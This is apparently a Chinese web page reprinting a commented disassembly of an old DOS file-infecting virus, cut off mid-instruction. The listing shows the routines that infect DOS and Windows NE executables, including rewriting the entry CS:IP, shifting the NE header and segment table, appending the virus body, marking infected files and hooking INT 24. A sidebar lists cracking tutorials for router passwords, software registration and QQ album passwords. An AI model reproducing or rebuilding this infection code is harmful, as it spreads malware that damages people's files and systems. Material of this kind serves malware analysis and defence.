F6C8:0996 EC      IN   AL,DX
F6C8:0997 A840     TEST  AL,40
F6C8:0999 75D9     JNZ   0974
F6C8:099B B445     MOV   AH,45
F6C8:099D E85A03    CALL  0CFA
F6C8:09A0 72D2     JB   0974
F6C8:09A2 53      PUSH  BX
F6C8:09A3 93      XCHG  AX,BX
F6C8:09A4 B43E     MOV   AH,3E
F6C8:09A6 E85103    CALL  0CFA
F6C8:09A9 5B      POP   BX
F6C8:09AA 72C8     JB   0974
F6C8:09AC B80045    MOV   AX,4500
F6C8:09AF 864504    XCHG  AL,[DI+04]
F6C8:09B2 A81C     TEST  AL,1C
F6C8:09B4 75BE     JNZ   0974
F6C8:09B6 50      PUSH  AX
F6C8:09B7 99      CWD  
F6C8:09B8 E83F03    CALL  0CFA
F6C8:09BB 93      XCHG  AX,BX
F6C8:09BC C745020200  MOV   WORD PTR [DI+02],0002
F6C8:09C1 B84300    MOV   AX,0043
F6C8:09C4 324528    XOR   AL,[DI+28]
F6C8:09C7 BD4F4D    MOV   BP,4D4F
F6C8:09CA 336D29    XOR   BP,[DI+29]
F6C8:09CD 0BE8     OR   BP,AX
F6C8:09CF E8BB02    CALL  0C8D
F6C8:09D2 7223     JB   09F7
F6C8:09D4 8BF2     MOV   SI,DX
F6C8:09D6 BF870E    MOV   DI,0E87
F6C8:09D9 0E      PUSH  CS
F6C8:09DA 07      POP   ES
F6C8:09DB F3      REPZ
F6C8:09DC A4      MOVSB 
F6C8:09DD E8CD02    CALL  0CAD
F6C8:09E0 91      XCHG  AX,CX
F6C8:09E1 8B05     MOV   AX,[DI]
F6C8:09E3 E8C601    CALL  0BAC
F6C8:09E6 7420     JZ   0A08
F6C8:09E8 0BD5     OR   DX,BP
F6C8:09EA 750B     JNZ   09F7
F6C8:09EC B0E9     MOV   AL,E9
F6C8:09EE AA      STOSB 
F6C8:09EF 91      XCHG  AX,CX
F6C8:09F0 2D0300    SUB   AX,0003
F6C8:09F3 AB      STOSW 
F6C8:09F4 E98D01    JMP   0B84
F6C8:09F7 E8DB02    CALL  0CD5
F6C8:09FA 58      POP   AX
F6C8:09FB 884504    MOV   [DI+04],AL
F6C8:09FE 804D0640   OR   BYTE PTR [DI+06],40
F6C8:0A02 B43E     MOV   AH,3E
F6C8:0A04 E8F302    CALL  0CFA
F6C8:0A07 C3      RET  
;=======================================================================
; 感染 .EXE 文件代码部分
;=======================================================================
F6C8:0A08 52      PUSH  DX
F6C8:0A09 51      PUSH  CX
F6C8:0A0A E82102    CALL  0C2E ;检测是否 WINDOWS 文件
F6C8:0A0D 58      POP   AX ;是,转 0A14
F6C8:0A0E 5A      POP   DX
F6C8:0A0F 7303     JNB   0A14
F6C8:0A11 E9EB00    JMP   0AFF ;DOS .EXE 转0AFF
;=======================================================================
;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580   TEST  BYTE PTR [SI+15],80
F6C8:0A18 75DD     JNZ   09F7 ;.DLL 不传染
F6C8:0A1A 8B4C3A    MOV   CX,[SI+3A] ;取移位值
F6C8:0A1D D1EA     SHR   DX,1
F6C8:0A1F D1D8     RCR   AX,1
F6C8:0A21 72D4     JB   09F7 ;文件长不是移位的
F6C8:0A23 E2F8     LOOP  0A1D ;整数倍不传染
F6C8:0A25 0BD2     OR   DX,DX
F6C8:0A27 75CE     JNZ   09F7 ;文件 > 65535*移位单位 不传染
F6C8:0A29 A3750E    MOV   [0E75],AX ;文件大小 (新的 CS:IP 入口段)
F6C8:0A2C B108     MOV   CL,08
F6C8:0A2E 294D3C    SUB   [DI+3C],CX ;新 NE 文件头位置前移 8 字节
F6C8:0A31 19553E    SBB   [DI+3E],DX
F6C8:0A34 AC      LODSB 
F6C8:0A35 0AC0     OR   AL,AL ;如果这 8 字节不为 0
F6C8:0A37 E1FB     LOOPE  0A34 ;则不传染
F6C8:0A39 75BC     JNZ   09F7
F6C8:0A3B 8B4422    MOV   AX,[SI+22] ;段地址表偏移量
F6C8:0A3E B105     MOV   CL,05
F6C8:0A40 56      PUSH  SI ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400    MOV   BP,0004 ; 0004 登记表偏移
F6C8:0A44 3E      DS: ; 0024 资源表偏移
F6C8:0A45 3B02     CMP   AX,[BP+SI] ; 0026 驻留表偏移
F6C8:0A47 7304     JNB   0A4D ; 0028 模块引用表偏移
F6C8:0A49 3E      DS: ; 002A 引用名表偏移
F6C8:0A4A 830208    ADD   WORD PTR [BP+SI],+08
F6C8:0A4D BD2200    MOV   BP,0022
F6C8:0A50 46      INC   SI
F6C8:0A51 46      INC   SI
F6C8:0A52 E2F0     LOOP  0A44
F6C8:0A54 5E      POP   SI
F6C8:0A55 BD6302    MOV   BP,0263
F6C8:0A58 8B441C    MOV   AX,[SI+1C] ;段计数器 + 1
F6C8:0A5B 50      PUSH  AX
F6C8:0A5C 40      INC   AX
F6C8:0A5D 89441C    MOV   [SI+1C],AX ;入口 CS:IP 改为
F6C8:0A60 876C14    XCHG  BP,[SI+14] ;新段地址:0263
F6C8:0A63 874416    XCHG  AX,[SI+16]
F6C8:0A66 892E850E   MOV   [0E85],BP ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E    MOV   [0E83],AX
F6C8:0A6D 58      POP   AX
F6C8:0A6E BD0800    MOV   BP,0008 ;段地址表长度
F6C8:0A71 F7E5     MUL   BP
F6C8:0A73 034422    ADD   AX,[SI+22] ;加上段地址表偏移
F6C8:0A76 13D1     ADC   DX,CX ;以下将整个 NE 文件头
F6C8:0A78 2D4000    SUB   AX,0040 ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1     SBB   DX,CX ;以便插入一个新的段地址表项
F6C8:0A7D BD0002    MOV   BP,0200
F6C8:0A80 F7F5     DIV   BP
F6C8:0A82 95      XCHG  AX,BP ;先移动余数
F6C8:0A83 B43F     MOV   AH,3F
F6C8:0A85 8BCA     MOV   CX,DX
F6C8:0A87 BA4F0F    MOV   DX,0F4F
F6C8:0A8A E81202    CALL  0C9F
F6C8:0A8D 7246     JB   0AD5
F6C8:0A8F 51      PUSH  CX
F6C8:0A90 C4553C    LES   DX,[DI+3C]
F6C8:0A93 8CC1     MOV   CX,ES
F6C8:0A95 E81C02    CALL  0CB4
F6C8:0A98 59      POP   CX
F6C8:0A99 B440     MOV   AH,40
F6C8:0A9B 83C140    ADD   CX,+40
F6C8:0A9E BA0F0F    MOV   DX,0F0F
F6C8:0AA1 E8FB01    CALL  0C9F
F6C8:0AA4 722F     JB   0AD5
F6C8:0AA6 83ED01    SUB   BP,+01 ;再一次移动 200H 字节
F6C8:0AA9 722D     JB   0AD8
F6C8:0AAB 33C9     XOR   CX,CX
F6C8:0AAD BA0800    MOV   DX,0008
F6C8:0AB0 E80402    CALL  0CB7
F6C8:0AB3 B43F     MOV   AH,3F
F6C8:0AB5 B502     MOV   CH,02
F6C8:0AB7 BA4F0F    MOV   DX,0F4F
F6C8:0ABA E8E201    CALL  0C9F
F6C8:0ABD 7216     JB   0AD5
F6C8:0ABF B9FFFF    MOV   CX,FFFF
F6C8:0AC2 BAF8FD    MOV   DX,FDF8
F6C8:0AC5 E8EF01    CALL  0CB7
F6C8:0AC8 B440     MOV   AH,40
F6C8:0ACA B90002    MOV   CX,0200
F6C8:0ACD BA4F0F    MOV   DX,0F4F
F6C8:0AD0 E8CC01    CALL  0C9F
F6C8:0AD3 73D1     JNB   0AA6
F6C8:0AD5 E91FFF    JMP   09F7
F6C8:0AD8 B440     MOV   AH,40		;写入新的段地址表项
F6C8:0ADA B90800    MOV   CX,0008 ;(病毒的段地址表项)
F6C8:0ADD BA750E    MOV   DX,0E75
F6C8:0AE0 E8BC01    CALL  0C9F
F6C8:0AE3 72F0     JB   0AD5
F6C8:0AE5 A32C03    MOV   [032C],AX ;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03   MOV   [032E],BP
F6C8:0AEC 40      INC   AX
F6C8:0AED A37D0E    MOV   [0E7D],AX ;AX = 0001
F6C8:0AF0 C7067F0E0304 MOV   WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03 MOV   WORD PTR [0E81],032C
F6C8:0AFC E98500    JMP   0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00    CALL  0BA1 ;文件长/200H
F6C8:0B02 2B4504    SUB   AX,[DI+04]
F6C8:0B05 75CE     JNZ   0AD5
F6C8:0B07 2B5502    SUB   DX,[DI+02]
F6C8:0B0A 75C9     JNZ   0AD5 ;有覆盖部分不传染
F6C8:0B0C 837D0CFF   CMP   WORD PTR [DI+0C],-01
F6C8:0B10 75C3     JNZ   0AD5 ;最大要求内存不为-1不传染
F6C8:0B12 3B451A    CMP   AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染
F6C8:0B15 75BE     JNZ   0AD5
F6C8:0B17 E89301    CALL  0CAD ;DOS 4202 功能
F6C8:0B1A BE1000    MOV   SI,0010 ;文件长 > 640K 不传染
F6C8:0B1D 3BD6     CMP   DX,SI
F6C8:0B1F 73B4     JNB   0AD5
F6C8:0B21 F7F6     DIV   SI
F6C8:0B23 2B4508    SUB   AX,[DI+08] ;减去文件头大小
F6C8:0B26 50      PUSH  AX
F6C8:0B27 52      PUSH  DX
F6C8:0B28 875514    XCHG  DX,[DI+14] ;设置新的 CS:IP
F6C8:0B2B 874516    XCHG  AX,[DI+16] ;到文件尾 (病毒开始处)
F6C8:0B2E 52      PUSH  DX
F6C8:0B2F 034508    ADD   AX,[DI+08]
F6C8:0B32 F7EE     IMUL  SI
F6C8:0B34 5E      POP   SI
F6C8:0B35 2D0200    SUB   AX,0002
F6C8:0B38 1BD1     SBB   DX,CX
F6C8:0B3A 03C6     ADD   AX,SI ;移动文件指针到
F6C8:0B3C 13CA     ADC   CX,DX ;开始执行前 2 字节
F6C8:0B3E 92      XCHG  AX,DX
F6C8:0B3F E87201    CALL  0CB4 ;DOS 4200
F6C8:0B42 B43F     MOV   AH,3F ;读出 2 字节
F6C8:0B44 B90200    MOV   CX,0002
F6C8:0B47 BA4F11    MOV   DX,114F
F6C8:0B4A E85201    CALL  0C9F
F6C8:0B4D 5A      POP   DX
F6C8:0B4E 58      POP   AX
F6C8:0B4F 724D     JB   0B9E
F6C8:0B51 813E4F115242 CMP   WORD PTR [114F],4252
F6C8:0B57 7445     JZ   0B9E ;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710   ADD   DX,10C7 ;?????
F6C8:0B5D 48      DEC   AX
F6C8:0B5E 7409     JZ   0B69
F6C8:0B60 83C210    ADD   DX,+10
F6C8:0B63 83FA80    CMP   DX,-80
F6C8:0B66 72F5     JB   0B5D
F6C8:0B68 48      DEC   AX
F6C8:0B69 40      INC   AX
F6C8:0B6A 80E2FE    AND   DL,FE
F6C8:0B6D 895510    MOV   [DI+10],DX
F6C8:0B70 89450E    MOV   [DI+0E],AX
F6C8:0B73 E83701    CALL  0CAD ;DOS 4202 功能
F6C8:0B76 05C70E    ADD   AX,0EC7 ;新的文件长
F6C8:0B79 13D1     ADC   DX,CX
F6C8:0B7B E82300    CALL  0BA1
F6C8:0B7E 894504    MOV   [DI+04],AX ;设置新的文件长
F6C8:0B81 895502    MOV   [DI+02],DX
F6C8:0B84 E80901    CALL  0C90 ;写文件头 40H 字节
F6C8:0B87 7215     JB   0B9E
F6C8:0B89 E82101    CALL  0CAD ;DOS 4202 功能
F6C8:0B8C B440     MOV   AH,40
F6C8:0B8E B9C70E    MOV   CX,0EC7 ;写病毒 0EC7 字节
F6C8:0B91 99      CWD  
F6C8:0B92 E80A01    CALL  0C9F
F6C8:0B95 7207     JB   0B9E
F6C8:0B97 E83B01    CALL  0CD5 ;取文件句柄表地址
F6C8:0B9A 804510C8   ADD   BYTE PTR [DI+10],C8 ;设置传染标记
F6C8:0B9E E956FE    JMP   09F7 ;文件日期加上 200 年
;======================================================================
F6C8:0BA1 B90002    MOV   CX,0200
F6C8:0BA4 F7F1     DIV   CX
F6C8:0BA6 0BD2     OR   DX,DX
F6C8:0BA8 7401     JZ   0BAB
F6C8:0BAA 40      INC   AX
F6C8:0BAB C3      RET  
;======================================================================
F6C8:0BAC 40      INC   AX
F6C8:0BAD 3D4E5A    CMP   AX,5A4E
F6C8:0BB0 7403     JZ   0BB5
F6C8:0BB2 3D5B4D    CMP   AX,4D5B
F6C8:0BB5 C3      RET  
;=======================================================================
;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50      PUSH  AX
F6C8:0BB7 53      PUSH  BX
F6C8:0BB8 52      PUSH  DX
F6C8:0BB9 1E      PUSH  DS
F6C8:0BBA 06      PUSH  ES
F6C8:0BBB 0E      PUSH  CS
F6C8:0BBC 1F      POP   DS
F6C8:0BBD B82435    MOV   AX,3524
F6C8:0BC0 E83701    CALL  0CFA
F6C8:0BC3 891E7311   MOV   [1173],BX
F6C8:0BC7 8C067511   MOV   [1175],ES
F6C8:0BCB B425     MOV   AH,25
F6C8:0BCD BAEB0B    MOV   DX,0BEB
F6C8:0BD0 E82701    CALL  0CFA
F6C8:0BD3 07      POP   ES
F6C8:0BD4 1F      POP   DS
F6C8:0BD5 5A      POP   DX
F6C8:0BD6 5B      POP   BX
F6C8:0BD7 58      POP   AX
F6C8:0BD8 C3      RET  
;==========================================================================
;恢复原 INT 24 中断向量
F6C8:0BD9 50      PUSH  AX
F6C8:0BDA 52      PUSH  DX
F6C8:0BDB 1E      PUSH  DS
F6C8:0BDC B82425    MOV   AX,2524
F6C8:0BDF 2E      CS:
F6C8:0BE0 C5167311   LDS   DX,[1173]
F6C8:0BE4 E81301    CALL  0CFA
F6C8:0BE7 1F      POP   DS
F6C8:0BE8 5A      POP   DX
F6C8:0BE9 58      POP   AX
F6C8:0BEA C3      RET  
;==========================================================================
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003     MOV   AL,03
F6C8:0BED CF      IRET  
;==========================================================================
F6C8:0BEE 832E030F08  SUB   WORD PTR [0F03],+08
F6C8:0BF3 831E050F00  SBB   WORD PTR [0F05],+00
F6C8:0BF8 E83300    CALL  0C2E
F6C8:0BFB 7230     JB   0C2D
F6C8:0BFD B108     MOV   CL,08
F6C8:0BFF 882C     MOV   [SI],CH
F6C8:0C01 46      INC   SI
F6C8:0C02 E2FB     LOOP  0BFF
F6C8:0C04 FF4C1C    DEC   WORD PTR [SI+1C]
F6C8:0C07 A1C50E    MOV   AX,[0EC5]
F6C8:0C0A 894414    MOV   [SI+14],AX
F6C8:0C0D A1C30E    MOV   AX,[0EC3]
F6C8:0C10 894416    MOV   [SI+16],AX
F6C8:0C13 8B4422    MOV   AX,[SI+22]
F6C8:0C16 B105     MOV   CL,05
F6C8:0C18 56      PUSH  SI
F6C8:0C19 BD0400    MOV   BP,0004
F6C8:0C1C 3E      DS:
F6C8:0C1D 3B02     CMP   AX,[BP+SI]
F6C8:0C1F 7304     JNB   0C25
F6C8:0C21 3E      DS:
F6C8:0C22 83

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 去除winrar注册框方法

最新文章 比特币病毒怎么破解 比去除winrar注册框方法 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)通过Access破解MSSQL获得数据

人气排行 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)qq相册密码破解方法去除winrar注册框方法(适应任何版本)怎么用手机破解收费游戏华为无线猫HG522破解如何给软件脱壳基础教程